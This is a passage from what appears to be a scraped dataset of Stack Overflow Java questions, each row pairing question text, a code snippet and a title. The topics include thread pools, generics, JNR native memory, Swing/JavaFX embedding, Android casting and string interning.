( ) ) ; // SendRecord.getInstance ( ) .sendToQueueAsync ( address , buffer.array ( ) ) ; // SendRecord.getInstance ( ) .sendToQueueSync ( address , buffer.array ( ) ) ; // SendRecord.getInstance ( ) .sendToQueueSync ( address , buffer.array ( ) , socket ) ; itemBuffer.clear ( ) ; pendingItems = 0 ; } public void addAndSendJunked ( final byte [ ] key , final byte [ ] data ) { if ( key.length > 255 ) { return ; } final byte keyLength = ( byte ) key.length ; final byte dataLength = ( byte ) data.length ; final int additionalSize = dataLength + keyLength + 1 + 1 + 8 + 2 ; final int newSize = itemBuffer.position ( ) + additionalSize ; if ( newSize > = ( MAX_SIZE - HEADER_SIZE ) ) { sendData ( ) ; } if ( additionalSize > ( MAX_SIZE - HEADER_SIZE ) ) { throw new AppConfigurationException ( `` Size of single item exceeds maximum size '' ) ; } final ByteBuffer dataBuffer = ByteBuffer.wrap ( data ) ; final long timestamp = dataLength > 10 ? dataBuffer.getLong ( 2 ) : System.currentTimeMillis ( ) ; // data layout itemBuffer.put ( ( byte ) 0 ) .put ( keyLength ) .put ( key ) .putLong ( timestamp ) .putShort ( dataLength ) .put ( data ) ; pendingItems++ ; } @ Override public void close ( ) { if ( pendingItems > 0 ) { sendData ( ) ; } } } private void validateAndSend ( final RecordPartition partition ) { final ConcurrentLinkedQueue < DataHolder > dataHolders = dataHoldersByPartition.get ( partition ) ; final Packet packet = new Packet ( partition ) ; DataHolder dataHolder ; while ( ( dataHolder = dataHolders.poll ( ) ) ! = null ) { packet.addAndSendJunked ( dataHolder.getClientKey ( ) .getBytes ( StandardCharsets.UTF_8 ) , dataHolder.getProcessBytes ( ) ) ; } packet.close ( ) ; } public class SendRecord { private final ScheduledExecutorService executorService = Executors.newScheduledThreadPool ( 2 ) ; private final Cache < Long , PendingMessage > cache = CacheBuilder.newBuilder ( ) .maximumSize ( 1000000 ) .concurrencyLevel ( 100 ) .build ( ) ; private static class Holder { private static final SendRecord INSTANCE = new SendRecord ( ) ; } public static SendRecord getInstance ( ) { return Holder.INSTANCE ; } private SendRecord ( ) { executorService.scheduleAtFixedRate ( new Runnable ( ) { @ Override public void run ( ) { handleRetry ( ) ; } } , 0 , 1 , TimeUnit.SECONDS ) ; } private void handleRetry ( ) { List < PendingMessage > messages = new ArrayList < > ( cache.asMap ( ) .values ( ) ) ; for ( PendingMessage message : messages ) { if ( message.hasExpired ( ) ) { if ( message.shouldRetry ( ) ) { message.markResent ( ) ; doSendAsync ( message ) ; } else { cache.invalidate ( message.getAddress ( ) ) ; } } } } // called by multiple threads concurrently public boolean sendToQueueAsync ( final long address , final byte [ ] encodedRecords ) { PendingMessage m = new PendingMessage ( address , encodedRecords , true ) ; cache.put ( address , m ) ; return doSendAsync ( m ) ; } // called by above method and also by handleRetry method private boolean doSendAsync ( final PendingMessage pendingMessage ) { Optional < SocketHolder > liveSocket = SocketManager.getInstance ( ) .getNextSocket ( ) ; ZMsg msg = new ZMsg ( ) ; msg.add ( pendingMessage.getEncodedRecords ( ) ) ; try { // this returns instantly return msg.send ( liveSocket.get ( ) .getSocket ( ) ) ; } finally { msg.destroy ( ) ; } } // called by send method below private boolean doSendAsync ( final PendingMessage pendingMessage , final Socket socket ) { ZMsg msg = new ZMsg ( ) ; msg.add ( pendingMessage.getEncodedRecords ( ) ) ; try { // this returns instantly return msg.send ( socket ) ; } finally { msg.destroy ( ) ; } } // called by multiple threads to send data synchronously without passing socket public boolean sendToQueueSync ( final long address , final byte [ ] encodedRecords ) { PendingMessage m = new PendingMessage ( address , encodedRecords , false ) ; cache.put ( address , m ) ; try { if ( doSendAsync ( m ) ) { return m.waitForAck ( ) ; } return false ; } finally { cache.invalidate ( address ) ; } } // called by a threads to send data synchronously but with socket as the parameter public boolean sendToQueueSync ( final long address , final byte [ ] encodedRecords , final Socket socket ) { PendingMessage m = new PendingMessage ( address , encodedRecords , false ) ; cache.put ( address , m ) ; try { if ( doSendAsync ( m , socket ) ) { return m.waitForAck ( ) ; } return false ; } finally { cache.invalidate ( address ) ; } } public void handleAckReceived ( final long address ) { PendingMessage record = cache.getIfPresent ( address ) ; if ( record ! = null ) { record.ackReceived ( ) ; cache.invalidate ( address ) ; } } }",Send data in multiple ways depending on how you want to send it +Java,Lastly I experimenting with generics a little bit . I came up with this piece of code : I ran this and got this output : with no exceptions ! How is it possible ?,"public class Test { static < T > void f ( T x ) { x = ( T ) ( Integer ) 1234 ; System.out.println ( x ) ; } public static void main ( String [ ] args ) { f ( `` a '' ) ; f ( 1 ) ; f ( ' a ' ) ; f ( 1.5 ) ; f ( new LinkedList < String > ( ) ) ; f ( new HashMap < String , String > ( ) ) ; } } 123412341234123412341234",Java : Experimenting with generics +Java,"I originally saw this issue with a more complex subclass of ThreadPoolExecutor , but I have simplified so now contains not much more than some additional debugging , and still get the same problem.This ExecutorService is being used by the following class , that allow instance to asynchronously submit tasks , the ExecutorService should not be shutdown until all submitted tasks have completed.The calling Class hasFor one customer the terminated ( ) method was getting called even though there are still task that have not completed , and the executorservice has only been running for 8 minutes , and no tasks have timed out . I have also seen the problem locallyDebugging showsUserLogDebugLog So we can see there are still 68 tasks to complete , and MainAnalyser has not closed the latch , yet threadpool executor has terminatedI overridden shutdown ( ) to see if that is called and it is not , terminate ( ) is being called by runWorker ( ) , runWorker ( ) should continue in loop until queue is empty which it is not , but something seems to cause it to leave loop and the processWorkerExit ( ) after doing some more checks eventually terminates the whole Executor ( not just a worker thread ) Because ThreadPoolExecutor is part of Standard Java I can not ( easily ) set breakpoints to try and find out what it is doing , this is ThreadPoolExecutor code ( standard Jave not my code ) We experimented with the queue size in the Executor , by default it was 100 because I did not want it to get too large as the queue tasks will use more memory and I would rather the calling tasks just runs itself if queue is busy . But in an attempt solve the issue ( and remove need for CallerRunPolicy to be called because queue full ) I increased queue size to 1000 and this caused the error to occur more quickly and then removed the limit completely and continue to fail more rapidlyI was looking at an alternative to ThreadExecutorPool and came across ForkJoinPool - https : //docs.oracle.com/javase/7/docs/api/java/util/concurrent/ForkJoinPool.htmlOne thing I noticed is that ForkJoinPool has different methods for submitting tasks from within a task submitted to ForkJoinPool compared to submitting form outside . I dont why this is , but wondering if because I am submitting tasks from within tasks being run by Executor whther this could cause issue in some way ? I have now managed to create own version of ThreadPoolExecutor by simply copying/pasting code into new Class , renaming , and also having to create a version of RejectedExcecutionhandler that expects my class rather than ThreadPoolExecutor and got this running.Started to add some debugging to see if I can decipher what is going on , any ideas ? Befotre call to processWorkerExit I addedand got on failure","import com.jthink.songkong.cmdline.SongKong ; import com.jthink.songkong.ui.MainWindow ; import com.jthink.songkong.util.SongKongThreadFactory ; import java.util.concurrent . * ; import java.util.logging.Level ; public class TimeoutThreadPoolExecutor extends ThreadPoolExecutor { /** * Uses the default CallerRunsPolicy when queue is full * @ param workerSize * @ param threadFactory * @ param queue */ public TimeoutThreadPoolExecutor ( int workerSize , ThreadFactory threadFactory , LinkedBlockingQueue < Runnable > queue ) { super ( workerSize , workerSize , 0L , TimeUnit.MILLISECONDS , queue , threadFactory , new CallerRunsPolicy ( ) ) ; } /** * Allow caller to specify the RejectedExecutionPolicy * @ param workerSize * @ param threadFactory * @ param queue * @ param reh */ public TimeoutThreadPoolExecutor ( int workerSize , ThreadFactory threadFactory , LinkedBlockingQueue < Runnable > queue , RejectedExecutionHandler reh ) { super ( workerSize , workerSize , 0L , TimeUnit.MILLISECONDS , queue , threadFactory , reh ) ; } @ Override public < T > FutureCallable < T > newTaskFor ( Callable < T > callable ) { return new FutureCallable < T > ( callable ) ; } /** * Check not been paused * * @ param t * @ param r */ @ Override protected void beforeExecute ( Thread t , Runnable r ) { SongKong.checkIn ( ) ; } /** * After execution * * @ param r * @ param t */ @ Override protected void afterExecute ( Runnable r , Throwable t ) { super.afterExecute ( r , t ) ; if ( t == null & & r instanceof Future < ? > ) { try { Object result = ( ( Future < ? > ) r ) .get ( ) ; } catch ( CancellationException ce ) { t = ce ; } catch ( ExecutionException ee ) { t = ee.getCause ( ) ; } catch ( InterruptedException ie ) { Thread.currentThread ( ) .interrupt ( ) ; // ignore/reset } } if ( t ! = null ) { MainWindow.logger.log ( Level.SEVERE , `` AFTER EXECUTE -- - '' + t.getMessage ( ) , t ) ; } } @ Override protected void terminated ( ) { //All tasks have completed either naturally or via being cancelled by timeout task so close the timeout task MainWindow.logger.severe ( `` -- -Terminated : '' + ( ( SongKongThreadFactory ) getThreadFactory ( ) ) .getName ( ) ) ; MainWindow.userInfoLogger.severe ( `` -- -Terminated : '' + ( ( SongKongThreadFactory ) getThreadFactory ( ) ) .getName ( ) ) ; StackTraceElement [ ] stackTrace = Thread.currentThread ( ) .getStackTrace ( ) ; for ( StackTraceElement ste : stackTrace ) { MainWindow.logger.log ( Level.SEVERE , ste.toString ( ) ) ; } for ( StackTraceElement ste : stackTrace ) { MainWindow.userInfoLogger.log ( Level.SEVERE , ste.toString ( ) ) ; } } @ Override public void shutdown ( ) { MainWindow.logger.severe ( `` -- -Shutdown : '' + ( ( SongKongThreadFactory ) getThreadFactory ( ) ) .getName ( ) ) ; MainWindow.userInfoLogger.severe ( `` -- -Shutdown : '' + ( ( SongKongThreadFactory ) getThreadFactory ( ) ) .getName ( ) ) ; StackTraceElement [ ] stackTrace = Thread.currentThread ( ) .getStackTrace ( ) ; for ( StackTraceElement ste : stackTrace ) { MainWindow.logger.log ( Level.SEVERE , ste.toString ( ) ) ; } for ( StackTraceElement ste : stackTrace ) { MainWindow.userInfoLogger.log ( Level.SEVERE , ste.toString ( ) ) ; } super.shutdown ( ) ; } } package com.jthink.songkong.analyse.analyser ; import com.jthink.songkong.preferences.GeneralPreferences ; import com.jthink.songkong.ui.MainWindow ; import com.jthink.songkong.util.SongKongThreadFactory ; import java.util.concurrent . * ; import java.util.concurrent.atomic.AtomicInteger ; import java.util.logging.Level ; /** * Sets a timeout of each task submitted and cancel them if take longer than the timeout * * The timeout is set to 30 minutes , we only want to call if really broken , it should not happen under usual circumstances */public class MainAnalyserService extends AnalyserService { //For monitoring/controlling when finished private final AtomicInteger pendingItems = new AtomicInteger ( 0 ) ; private final CountDownLatch latch = new CountDownLatch ( 1 ) ; //If task has not completed 30 minutes after it started ( added to queue ) then it should be cancelled private static final int TIMEOUT_PER_TASK = 30 ; private static MainAnalyserService mas ; public static MainAnalyserService getInstanceOf ( ) { return mas ; } public static MainAnalyserService create ( String threadGroup ) { mas = new MainAnalyserService ( threadGroup ) ; return mas ; } public MainAnalyserService ( String threadGroup ) { super ( threadGroup ) ; initExecutorService ( ) ; } /** Configure thread to match cpus but even if single cpu ensure have at least two threads to protect against scenario where there is only cpu and that thread is waiting on i/o rather than being cpu bound this would allow other thread to do something . */ @ Override protected void initExecutorService ( ) { int workerSize = GeneralPreferences.getInstance ( ) .getWorkers ( ) ; if ( workerSize==0 ) { workerSize = Runtime.getRuntime ( ) .availableProcessors ( ) ; } //Even if only have single cpu we still have multithread so we dont just have single thread waiting on I/O if ( workerSize < MIN_NUMBER_OF_WORKER_THREADS ) { workerSize = MIN_NUMBER_OF_WORKER_THREADS ; } MainWindow.userInfoLogger.severe ( `` Workers Configuration : '' + workerSize ) ; MainWindow.logger.severe ( `` Workers Configuration : '' + workerSize ) ; executorService = new TimeoutThreadPoolExecutor ( workerSize , new SongKongThreadFactory ( threadGroup ) , new LinkedBlockingQueue < Runnable > ( BOUNDED_QUEUE_SIZE ) , TIMEOUT_PER_TASK , TimeUnit.MINUTES , new EnsureIncreaseCountIfRunOnCallingThread ( ) ) ; } public AtomicInteger getPendingItems ( ) { return pendingItems ; } /** * If queue is full this gets called and we log that we run task on local calling thread . */ class EnsureIncreaseCountIfRunOnCallingThread implements RejectedExecutionHandler { /** * Creates a { @ code CallerRunsPolicy } . */ public EnsureIncreaseCountIfRunOnCallingThread ( ) { } /** * Executes task on calling thread , ensuring we increment count * * @ param r the runnable task requested to be executed * @ param e the executor attempting to execute this task */ public void rejectedExecution ( Runnable r , ThreadPoolExecutor e ) { if ( ! e.isShutdown ( ) ) { try { MainWindow.userInfoLogger.severe ( `` > > SubmittedLocally : '' + ( ( FutureCallable ) r ) .getCallable ( ) .getClass ( ) .getName ( ) + `` : '' + pendingItems.get ( ) ) ; r.run ( ) ; MainWindow.userInfoLogger.severe ( `` > > CompletedLocally : '' + ( ( FutureCallable ) r ) .getCallable ( ) .getClass ( ) .getName ( ) + `` : '' + pendingItems.get ( ) ) ; } catch ( Exception ex ) { MainWindow.userInfoLogger.log ( Level.SEVERE , ex.getMessage ( ) , ex ) ; } } } } /** * Increase count and then Submit to ExecutorService * * @ param callingTask * @ param task */ public void submit ( Callable < Boolean > callingTask , Callable < Boolean > task ) //throws Exception { //Ensure we increment before calling submit in case rejectionExecution comes into play int remainingItems = pendingItems.incrementAndGet ( ) ; executorService.submit ( task ) ; MainWindow.userInfoLogger.severe ( `` > > Submitted : '' + task.getClass ( ) .getName ( ) + `` : '' + remainingItems ) ; } public ExecutorService getExecutorService ( ) { return executorService ; } /** * Must be called by Callable when it has finished work ( or if error ) * * @ param task */ public void workDone ( Callable task ) { int remainingItems = pendingItems.decrementAndGet ( ) ; MainWindow.userInfoLogger.severe ( `` > > WorkDone : '' + task.getClass ( ) .getName ( ) + `` : '' +remainingItems ) ; if ( remainingItems == 0 ) { MainWindow.userInfoLogger.severe ( `` > Closing Latch : '' ) ; latch.countDown ( ) ; } } /** * Wait for latch to close , this should occur once all submitted aysync tasks have finished in some way * * @ throws InterruptedException */ public void awaitCompletion ( ) throws InterruptedException { latch.await ( ) ; } } //Just waits for all the async tasks on the list to complete/failanalyserService.awaitCompletion ( ) ; MainWindow.userInfoLogger.severe ( `` > MainAnalyser Completed '' ) ; 05/07/2019 11.29.38 : EDT : SEVERE : -- -- G14922 : The Civil War:8907617 : American Songs of Revolutionary Times and the Civil War Era : NoScore05/07/2019 11.29.38 : EDT : SEVERE : > > Submitted : com.jthink.songkong.analyse.analyser.SongSaver:6905/07/2019 11.29.38 : EDT : SEVERE : > > WorkDone : com.jthink.songkong.analyse.analyser.DiscogsSongGroupMatcher:6805/07/2019 11.29.38 : EDT : SEVERE : > MainAnalyser Finished05/07/2019 11.29.38 : EDT : INFO : Stop 05/07/2019 11.29.38 : EDT : TimeoutThreadPoolExecutor : terminated : SEVERE : -- -Terminated : Worker 10/07/2019 07.11.51 : BST : MainAnalyserService : submit : SEVERE : > > Submitted : com.jthink.songkong.analyse.analyser.DiscogsSongGroupMatcher:80910/07/2019 07.11.51 : BST : MainAnalyserService : workDone : SEVERE : > > WorkDone : com.jthink.songkong.analyse.analyser.MusicBrainzSongGroupMatcher2:80810/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : -- -Terminated : Worker10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.lang.Thread.getStackTrace ( Unknown Source ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : com.jthink.songkong.analyse.analyser.TimeoutThreadPoolExecutor.terminated ( TimeoutThreadPoolExecutor.java:118 ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.util.concurrent.ThreadPoolExecutor.tryTerminate ( Unknown Source ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.util.concurrent.ThreadPoolExecutor.processWorkerExit ( Unknown Source ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.util.concurrent.ThreadPoolExecutor.runWorker ( Unknown Source ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.util.concurrent.ThreadPoolExecutor $ Worker.run ( Unknown Source ) 10/07/2019 07.11.51 : BST : TimeoutThreadPoolExecutor : terminated : SEVERE : java.base/java.lang.Thread.run ( Unknown Source ) final void runWorker ( Worker w ) { Thread wt = Thread.currentThread ( ) ; Runnable task = w.firstTask ; w.firstTask = null ; w.unlock ( ) ; // allow interrupts boolean completedAbruptly = true ; try { while ( task ! = null || ( task = getTask ( ) ) ! = null ) { w.lock ( ) ; // If pool is stopping , ensure thread is interrupted ; // if not , ensure thread is not interrupted . This // requires a recheck in second case to deal with // shutdownNow race while clearing interrupt if ( ( runStateAtLeast ( ctl.get ( ) , STOP ) || ( Thread.interrupted ( ) & & runStateAtLeast ( ctl.get ( ) , STOP ) ) ) & & ! wt.isInterrupted ( ) ) wt.interrupt ( ) ; try { beforeExecute ( wt , task ) ; Throwable thrown = null ; try { task.run ( ) ; } catch ( RuntimeException x ) { thrown = x ; throw x ; } catch ( Error x ) { thrown = x ; throw x ; } catch ( Throwable x ) { thrown = x ; throw new Error ( x ) ; } finally { afterExecute ( task , thrown ) ; } } finally { task = null ; w.completedTasks++ ; w.unlock ( ) ; } } completedAbruptly = false ; } finally { processWorkerExit ( w , completedAbruptly ) ; } } new LinkedBlockingQueue < Runnable > ( BOUNDED_QUEUE_SIZE ) , MainWindow.userInfoLogger.severe ( `` -- -- -- -- -- -- -- -- -- -- -- - '' +getTaskCount ( ) + '' : '' +getActiveCount ( ) + '' : '' +w.completedTasks + '' : '' + completedAbruptly ) ; -- -- -- -- -- -- -- -- -- -- -- -3686:0:593 : false",What is terminating my Java ExecutorService +Java,"I know one way - using memcpy on C++ side : C++ method : JNR mapping : Java invocation : But I would like to handle case when native code does not copy data , but only returns pointer to the memory which is to be copied : C++ methods : I know how to write JNR mapping to be able to copy data to HeapByteBuffer : Java invocation : But I have not found a way to copy memory to DirectByteBuffer instead of HeapByteBuffer . The above snippet of code does not work for DirectByteBuffer because buffer.array ( ) is null for such a buffer , as it is backed by native memory area.Please help .","void CopyData ( void* buffer , int size ) { memcpy ( buffer , source , size ) ; } void CopyData ( @ Pinned @ Out ByteBuffer byteBuffer , @ Pinned @ In int size ) ; ByteBuffer buffer = ByteBuffer.allocateDirect ( size ) ; adapter.CopyData ( buffer , size ) ; void* GetData1 ( ) { return source ; } // orstruct Data { void* data ; } ; void* GetData2 ( Data* outData ) { outData- > data = source ; } Pointer GetData1 ( ) ; // orvoid GetData2 ( @ Pinned @ Out Data outData ) ; final class Data extends Struct { public final Struct.Pointer data ; public DecodeResult ( Runtime runtime ) { super ( runtime ) ; data = new Struct.Pointer ( ) ; } } ByteBuffer buffer = ByteBuffer.allocate ( size ) ; Pointer dataPtr = adapter.GetData1 ( ) ; dataPtr.get ( 0 , buffer.array ( ) , 0 , buffer.array ( ) .length ) ; // orByteBuffer buffer = ByteBuffer.allocate ( size ) ; Data outData = new Data ( runtime ) ; adapter.GetData2 ( outData ) ; Pointer dataPtr = outData.data.get ( ) ; dataPtr.get ( 0 , buffer.array ( ) , 0 , buffer.array ( ) .length ) ;",How to copy native memory to DirectByteBuffer +Java,"EDIT : I 've left my original question as it was , below . If you wish to test the issue using the AnchorFX sourcecode and my code below , you should be able to recreate the problem . It happens in some other circumstances as well , and is similar to the issues in these two questions : Resize SwingNode in Pane and How to resize Swing control which is inside SwingNode in JavaFX8 ? Neither of whose answers proved helpful to me , but maybe the answer I found will help someone else in the future . I have a JTable inside a JScrollPane and I need to embed it into a javafx application . I am trying to do this using the AnchorFX docking framework . I also need this SwingNode to somehow be inside a Control ( the two I have tried are ScrollPane and SplitPane ) so that I can add a ContextMenu to it which is consistent with the rest of the application . The problem is , when I 'dock ' and 'undock ' tabs or simply resize the window or the panes inside the window , the JScrollPane with the table in it does not resize properly.I have modified one of the demos from the AnchorFX project to show my problem :","public class AnchorFX_substations extends Application { @ Overridepublic void start ( Stage primaryStage ) { DockStation station = AnchorageSystem.createStation ( ) ; Scene scene = new Scene ( station , 1024 , 768 ) ; DockNode node1 = AnchorageSystem.createDock ( `` Node '' , generateJTableNode ( ) ) ; node1.dock ( station , DockNode.DockPosition.CENTER ) ; DockNode subNode = AnchorageSystem.createDock ( `` subNode 1 '' , generateJTableNode ( ) ) ; subNode.dock ( station , DockNode.DockPosition.LEFT ) ; subNode.floatableProperty ( ) .set ( false ) ; DockNode subNode2 = AnchorageSystem.createDock ( `` subNode 2 '' , generateJTableNode ( ) ) ; subNode2.dock ( station , DockNode.DockPosition.LEFT ) ; AnchorageSystem.installDefaultStyle ( ) ; primaryStage.setTitle ( `` AnchorFX SubStation '' ) ; primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; } private Control generateJTableNode ( ) { ScrollPane contextMenuPane = new ScrollPane ( ) ; SwingNode swingNode = new SwingNode ( ) ; DefaultTableModel model = new DefaultTableModel ( ) ; JTable table = new JTable ( model ) ; // Create a couple of columns model.addColumn ( `` Col1 '' ) ; model.addColumn ( `` Col2 '' ) ; // Append a row for ( int i = 0 ; i < 200 ; i++ ) { model.addRow ( new Object [ ] { `` col 1 row `` + i , `` col 2 row `` +i } ) ; } JScrollPane scrollPane = new JScrollPane ( table ) ; swingNode.setContent ( scrollPane ) ; contextMenuPane.setFitToHeight ( true ) ; contextMenuPane.setFitToWidth ( true ) ; contextMenuPane.setContent ( swingNode ) ; return contextMenuPane ; } /** * @ param args the command line arguments */public static void main ( String [ ] args ) { launch ( args ) ; } }",SwingNode contents not resizing when the SwingNode 's parent resizes +Java,"I am getting a strange behavior , and I guess I 'm more looking for an explanation than a solution ( although solution is welcome as well ! ) .Here 's the code : And on some occasions , I am getting error logs with : java.lang.ClassCastException : can not be cast to android.content.pm.PackageInfo reported for line : The odd part is that , normally , ClassCastException usually look like ( AFAIK ) : java.lang.ClassCastException : foo.bar.ClassA can not be cast to foo.bar.ClassBHowever , the error I 'm seeing is showing blank for the first part.I decided to research a bit , and read something along the lines of it might happen if the function that 's returning the list internally casted the wrong object list and returned it or something . So I looked : ApplicationPackageManager.getInstalledPackages ( ) Ok , so the list that 's being returned is populated from ParceledListSlice.populateList ( ) ... ParceledListSlice.populateList ( ) So the item is being created from PackageInfo.CREATOR.createFromParcel ( ) ... And finally the creator.createFromParcel of PackageInfoSo everything seems to be ok . It 's creating a ParceledListSlice of type PackageInfo , and so in populateList it 's creating a PackageInfo item and putting it into a List of PackageInfo , which is the returned list . All the types/classes seem fine to me.So my questions , how would the above ClassCastException happen ? Why would it show `` blank '' type for the error message ? And what would be a possible solution ? I was thinking of just getting the list as a list of Object and checking `` instanceof '' , but I do n't think that 's gon na work either because it 'll probably end up saying ClassCastException : can not be cast into java.lang.Object '' or something.Any insights and explanations on how this could happen would be greatly appreciated . Is Dalvik/JVM simply messing up ? Is the memory being corrupted ? I could only come up wild guesses = )","PackageManager pm = context.getPackageManager ( ) ; List < PackageInfo > pkgList = pm.getInstalledPackages ( PackageManager.GET_UNINSTALLED_PACKAGES ) ; if ( pkgList == null ) return null ; for ( PackageInfo pkgInfo : pkgList ) { ApplicationInfo appInfo = pkgInfo.applicationInfo ; // do some stuff , does n't modify pkgInfo or appInfo or pkgList } for ( PackageInfo pkgInfo : pkgList ) @ SuppressWarnings ( `` unchecked '' ) @ Overridepublic List < PackageInfo > getInstalledPackages ( int flags ) { try { final List < PackageInfo > packageInfos = new ArrayList < PackageInfo > ( ) ; PackageInfo lastItem = null ; ParceledListSlice < PackageInfo > slice ; do { final String lastKey = lastItem ! = null ? lastItem.packageName : null ; slice = mPM.getInstalledPackages ( flags , lastKey ) ; lastItem = slice.populateList ( packageInfos , PackageInfo.CREATOR ) ; } while ( ! slice.isLastSlice ( ) ) ; return packageInfos ; } catch ( RemoteException e ) { throw new RuntimeException ( `` Package manager has died '' , e ) ; } } public T populateList ( List < T > list , Creator < T > creator ) { mParcel.setDataPosition ( 0 ) ; T item = null ; for ( int i = 0 ; i < mNumItems ; i++ ) { item = creator.createFromParcel ( mParcel ) ; list.add ( item ) ; } mParcel.recycle ( ) ; mParcel = null ; return item ; } public static final Parcelable.Creator < PackageInfo > CREATOR = new Parcelable.Creator < PackageInfo > ( ) { public PackageInfo createFromParcel ( Parcel source ) { return new PackageInfo ( source ) ; } public PackageInfo [ ] newArray ( int size ) { return new PackageInfo [ size ] ; } } ;",Android ClassCastException with blank type +Java,"I have a code with grid layout and two JLabel images . I wa n't some text to appear everytime I roll over each image . I am familiar on how to do this when the image is not a JLabel , but have searched all over the web to find how to do this while it is an unnamed JLabel . The two images I wa n't to have , with separate roll over messages are : Here is my code : Thank you so much for the time you are taking for reading this , I really appreciate the effort you are putting into helping a fellow programmer !","ImageIcon ( getClass ( ) .getResource ( `` giraffe.png '' ) ) ; Icon windows = new ImageIcon ( getClass ( ) .getResource ( `` windows.png '' ) ) ; public class giraffe implements ActionListener { public void actionPerformed ( ActionEvent event ) { JOptionPane.showMessageDialog ( null , `` Press ok , and see the amazing giraffe outside a window ! `` ) ; JDialog giraffewindow = new JDialog ( ) ; Icon giraffe = new ImageIcon ( getClass ( ) .getResource ( `` giraffe.png '' ) ) ; Icon windows = new ImageIcon ( getClass ( ) .getResource ( `` windows.png '' ) ) ; giraffewindow.setLayout ( new GridLayout ( 1 , 2 , 0 , 0 ) ) ; giraffewindow.add ( new JLabel ( windows ) ) ; giraffewindow.add ( new JLabel ( giraffe ) ) ; giraffewindow.pack ( ) ; giraffewindow.setTitle ( `` GIRAFFE ! `` ) ; giraffewindow.setVisible ( true ) ; giraffewindow.setDefaultCloseOperation ( DISPOSE_ON_CLOSE ) ; /* * I want to have a rollover on EACH IMAGE so that when they rollover the image you see different text . */ }",Rollover on JLabel which consists of image within grid layout ? +Java,"I 'd like to fire many one-off async CompletableFutures , like so : Ideally these CompletableFutures could be garbage collected after whenComplete has finished . But is there a risk they are collected beforehand , since I 'm not storing a reference ?",for ( Job job : jobs ) { CompletableFuture.supplyAsync ( ( ) - > job.process ( ) ) .whenComplete ( this : :doSomething ) ; },CompletableFuture and Garbage Collection +Java,"I am a bit confused about the intern function . I have the following code : My question is regarding the output . In the third case it gives me true , but in the fourth and fifth case it gives me false . Can I known what is reason behind those output ? I could not come to the conclusion that it gives false for java reserved word or key word because when I tried with en um it gives true but with by te it gives me false . Can any one tell me why ?",public class InternTest { public static void main ( String args [ ] ) { String s1 = `` ANEK '' ; String s2 = new String ( `` ANEK '' ) ; String s3 = s2.intern ( ) ; System.out.println ( s3 == s1 ) ; // True String s11 = `` ANEK '' .concat ( `` SINGH '' ) ; String s22 = s11.intern ( ) ; System.out.println ( s11 == s22 ) ; // True String s4 = `` nat '' .concat ( `` ive '' ) ; String s5 = s4.intern ( ) ; System.out.println ( s4 == s5 ) ; // True String s33 = `` ma '' .concat ( `` in '' ) ; String s44 = s33.intern ( ) ; System.out.println ( s33 == s44 ) ; // false String s331 = `` ja '' .concat ( `` va '' ) ; String s441 = s331.intern ( ) ; System.out.println ( s331 == s441 ) ; // false } },Java Intern function +Java,"I have a very simple java program that draws a rectangle but when I closely examine the rendered shape , I see two extra pixels that should n't be there ... You can see one extra pixel at below left and one at below right.I am using Windows 7 Professional 64-BIT using JDK 1.8.0 . Here is the program ...","import java.awt.Graphics ; import java.io.IOException ; import javax.swing.JFrame ; import javax.swing.JPanel ; public class JavaBug { public JavaBug ( ) throws IOException { JFrame frame = new JFrame ( ) ; frame.add ( new JPanel ( ) { private static final long serialVersionUID = 1L ; public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.drawRect ( 50 , 50 , 20 , 20 ) ; } } ) ; frame.setSize ( 400 , 300 ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setVisible ( true ) ; } public static void main ( String [ ] args ) throws IOException { new JavaBug ( ) ; } }",Drawing Rectangle in Java Shows Pixel Anomaly +Java,"I 'm trying to understand how threads work in Java and currently investigating how to implement looped threads that can be cancelled . Here 's the code : The thread I create is indended to be interrupted sooner or later . So , I check isInterrupted ( ) flag to decide whether I need to go on and also catch InterruptedException to handle cases when I 'm in a kind of waiting operation ( sleep , join , wait ) .Things I 'd like to clarify are : Is it fine to use interruption mechanism for this kind of task ? ( comparing to having volatile boolean shouldStop ) Is this solution correct ? Is it normal that I swallow InterruptedException ? I 'm not really interested what was the piece of code where someone asked my thread to interrupt.Are there any shorter ways to solve this problem ? ( the main point is having 'infinite ' loop ) EDITAdded call to interrupt ( ) in catch for InterruptedException .","public static void main ( String [ ] args ) throws Exception { Thread t = new Thread ( ) { @ Override public void run ( ) { System.out.println ( `` THREAD : started '' ) ; try { while ( ! isInterrupted ( ) ) { System.out.printf ( `` THREAD : working ... \n '' ) ; Thread.sleep ( 100 ) ; } } catch ( InterruptedException e ) { // we 're interrupted on Thread.sleep ( ) , ok // EDIT interrupt ( ) ; } finally { // we 've either finished normally // or got an InterruptedException on call to Thread.sleep ( ) // or finished because of isInterrupted ( ) flag // clean-up and we 're done System.out.println ( `` THREAD : done '' ) ; } } } ; t.start ( ) ; Thread.sleep ( 500 ) ; System.out.println ( `` CALLER : asking to stop '' ) ; t.interrupt ( ) ; t.join ( ) ; System.out.println ( `` CALLER : thread finished '' ) ; }",Interrupting looped threads in Java +Java,"I have the following code : Note that class Generic is declared with a generic type parameter , but the variable generic in method main is of the erasure type , i. e. without a type parameter . What I do not understand is why the compiler complains about the line with the assignment of the List < String > : The Method clearly returns a List < String > , independently of the generic parameter of the class . And this is what the variable stringList expects . It seems that not using the generic parameter on class level for variable generic switches off all generics processing , and not just that depending on the type parameter of the class.I am using the standard Oracle Java 1.7.0_55 compiler , if that matters . I am not asking how to get rid of the warning . I know I should declare the variable type as Generic < Integer > , or could use @ SuppressWarnings ( `` unchecked '' ) . My questions are the following : Is this behavior documented ? What is the reason for this strange behavior ?","public class Main { public static void main ( String [ ] args ) { Generic generic = new Generic < Integer > ( 5 ) ; List < String > stringList = generic.getStringList ( ) ; // this line is where the compiler complains } } public class Generic < T > { private T member ; public Generic ( T member ) { this.member = member ; } public T getMember ( ) { return member ; } public List < String > getStringList ( 